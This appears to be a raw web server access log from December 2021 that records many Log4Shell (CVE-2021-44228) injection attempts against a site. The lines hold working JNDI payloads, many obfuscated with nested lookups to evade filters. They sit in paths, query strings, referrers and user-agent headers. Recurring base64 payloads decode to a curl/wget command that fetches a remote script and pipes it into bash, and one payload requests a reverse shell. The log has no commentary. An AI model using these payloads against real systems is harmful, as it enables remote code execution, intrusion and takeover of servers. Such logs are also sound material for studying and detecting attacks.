157.230.32.67 - - [11/Dec/2021:17:20:28 +0100] "GET / HTTP/1.1" 200 10240 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
157.230.32.67 - - [11/Dec/2021:17:20:28 +0100] "GET /favicon.ico HTTP/1.1" 404 523 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
217.112.83.246 - - [11/Dec/2021:18:10:13 +0100] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 5191 "-" "curl/7.58.0"
139.59.224.7 - - [11/Dec/2021:18:24:20 +0100] "GET / HTTP/1.1" 200 9985 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
167.71.13.196 - - [11/Dec/2021:21:55:10 +0100] "GET /$%7Bjndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 5031 "-" "${jndi:ldaps://979d1317.probe001.log4j.leakix.net:9200/b}"
139.59.224.7 - - [12/Dec/2021:00:25:01 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
45.155.205.233 - - [12/Dec/2021:06:05:38 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
45.155.205.233 - - [12/Dec/2021:06:05:38 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
45.83.66.88 - - [13/Dec/2021:01:15:30 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 610 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"
137.184.102.188 - - [13/Dec/2021:02:46:54 +0100] "GET / HTTP/1.1" 200 10220 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"
137.184.102.188 - - [13/Dec/2021:02:46:54 +0100] "GET /favicon.ico HTTP/1.1" 404 521 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"
45.83.65.225 - - [13/Dec/2021:03:14:37 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 610 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"
45.146.164.160 - - [13/Dec/2021:04:22:25 +0100] "GET / HTTP/1.1" 200 10004 "-" "${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//45.146.164.160:8081/w}"
45.83.64.149 - - [13/Dec/2021:04:54:47 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 5017 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"
195.54.160.149 - - [13/Dec/2021:06:00:11 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [13/Dec/2021:06:00:13 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
167.172.44.255 - - [13/Dec/2021:21:27:17 +0100] "GET / HTTP/1.0" 301 537 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass}"
112.74.52.90 - - [13/Dec/2021:21:34:38 +0100] "GET / HTTP/1.1" 200 9985 "-" "/${jndi:ldap://45.83.193.150:1389/Exploit}"
45.146.164.160 - - [14/Dec/2021:00:11:53 +0100] "GET / HTTP/1.1" 200 10004 "-" "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${upper:d}${lower:a}${upper:p}://45.146.164.160:1389/t}"
45.146.164.160 - - [14/Dec/2021:00:11:53 +0100] "GET / HTTP/1.1" 200 10004 "-" "${${lower:j}${lower:n}${lower:d}i:l${lower:d}${lower:a}p://45.146.164.160:1389/t}"
45.146.164.160 - - [14/Dec/2021:00:11:54 +0100] "GET / HTTP/1.1" 200 10004 "-" "${${lower:${lower:jndi}}:ld${lower:ap}://45.146.164.160:1389/t}"
45.146.164.160 - - [14/Dec/2021:00:11:54 +0100] "GET / HTTP/1.1" 200 10004 "-" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.146.164.160:1389/t}"
195.54.160.149 - - [14/Dec/2021:02:58:36 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [14/Dec/2021:02:58:37 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
167.71.13.196 - - [14/Dec/2021:05:54:55 +0100] "GET /$%7Bjndi:ldap://167.71.13.196:443/lx-ffff591678f8bb01009f23b86100000000b14e97%7D?${jndi:ldap://167.71.13.196:443/lx-ffff591678f8bb01019f23b8610000000096fcdf}=${jndi:ldap://167.71.13.196:443/lx-ffff591678f8bb01029f23b861000000001de141} HTTP/1.1" 400 4546 "-" "${jndi:ldap://167.71.13.196:443/lx-ffff591678f8bb01089f23b861000000002d265d}"
157.90.35.190 - - [15/Dec/2021:03:02:31 +0100] "GET / HTTP/1.1" 301 531 "-" "${jndi:ldap://162.55.90.26/1494644984/C}"
157.245.108.125 - - [15/Dec/2021:05:04:55 +0100] "GET / HTTP/1.0" 301 537 "-" "borchuk/3.1 ${jndi:ldap://167.99.32.139:1389/Basic/ReverseShell/167.99.32.139/9999}"
194.195.244.81 - - [15/Dec/2021:07:27:55 +0100] "GET / HTTP/1.1" 301 516 "${jndi:dns://89-22-120-248.scanworld.net/ref}" "${jndi:dns://89-22-120-248.scanworld.net/ua}"
195.54.160.149 - - [15/Dec/2021:19:01:13 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [15/Dec/2021:19:01:14 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [16/Dec/2021:06:02:14 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [16/Dec/2021:15:45:27 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [16/Dec/2021:15:45:32 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
45.83.67.29 - - [17/Dec/2021:00:07:54 +0100] "GET /?id=%24%7B%24%7B%3A%3A-j%7Dndi%3Adns%3A%2F%2F45.83.64.1%2Fsecurityscan-5wffiu4eamm3bqq6%7D HTTP/1.1" 301 752 "-" "${${::-j}ndi:dns://45.83.64.1/securityscan-s6szuuadrvghomd4}"
46.105.95.220 - - [17/Dec/2021:02:31:51 +0100] "GET /${jndi:ldap://31.131.16.127:1389/Exploit} HTTP/1.1" 301 604 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
46.105.95.220 - - [17/Dec/2021:02:31:51 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://31.131.16.127:1389/Exploit}"
195.54.160.149 - - [17/Dec/2021:03:09:37 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
45.83.65.155 - - [17/Dec/2021:13:06:16 +0100] "GET /?id=%24%7B%24%7B%3A%3A-j%7Dndi%3Adns%3A%2F%2F45.83.64.1%2Fsecurityscan-o4wlecdljwbcxpyg%7D HTTP/1.1" 200 10046 "${${::-j}ndi:dns://45.83.64.1/securityscan-tqp5kfjpbji4ujhb}" "${${::-j}ndi:dns://45.83.64.1/securityscan-dtst3nvsrebozk7u}"
128.90.61.199 - - [17/Dec/2021:13:50:00 +0100] "GET /$%7Bjndi:iiop://128.90.61.199:6311/1639745399%7D HTTP/1.1" 404 5210 "${jndi:iiop://128.90.61.199:6311/1639745399}" "${jndi:iiop://128.90.61.199:6311/1639745399}"
195.54.160.149 - - [17/Dec/2021:23:05:31 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [18/Dec/2021:08:39:13 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [18/Dec/2021:19:29:26 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
36.138.125.72 - - [18/Dec/2021:22:38:12 +0100] "GET /${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 404 5196 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
36.138.125.72 - - [18/Dec/2021:22:38:13 +0100] "GET / HTTP/1.1" 200 30308 "-" "${jndi:ldap://5.101.118.127:1389/Exploit}"
36.138.125.72 - - [18/Dec/2021:22:38:13 +0100] "GET /?v=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 200 30308 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
36.138.125.72 - - [18/Dec/2021:22:38:20 +0100] "GET /?id=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 200 30308 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
36.138.125.72 - - [18/Dec/2021:22:38:20 +0100] "GET /?page=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 200 30308 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
185.220.100.248 - - [19/Dec/2021:10:09:43 +0100] "GET /?a=%24%7Bjndi%3Aldap%3A//193.3.19.159%3A53/c%7D HTTP/1.1" 200 30124 "${jndi:ldap://193.3.19.159:53/c}" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
128.90.59.60 - - [19/Dec/2021:11:18:36 +0100] "GET /$%7Bjndi:iiop://128.90.59.60:4085/1639909115%7D HTTP/1.1" 404 5210 "${jndi:iiop://128.90.59.60:4085/1639909115}" "${jndi:iiop://128.90.59.60:4085/1639909115}"
107.189.29.181 - - [19/Dec/2021:13:20:39 +0100] "GET / HTTP/1.1" 301 535 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}"
60.31.180.149 - - [19/Dec/2021:17:49:33 +0100] "GET /?v=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 200 30308 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
60.31.180.149 - - [19/Dec/2021:17:49:35 +0100] "GET /?id=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 200 30308 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
195.54.160.149 - - [20/Dec/2021:00:46:50 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [20/Dec/2021:11:58:30 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
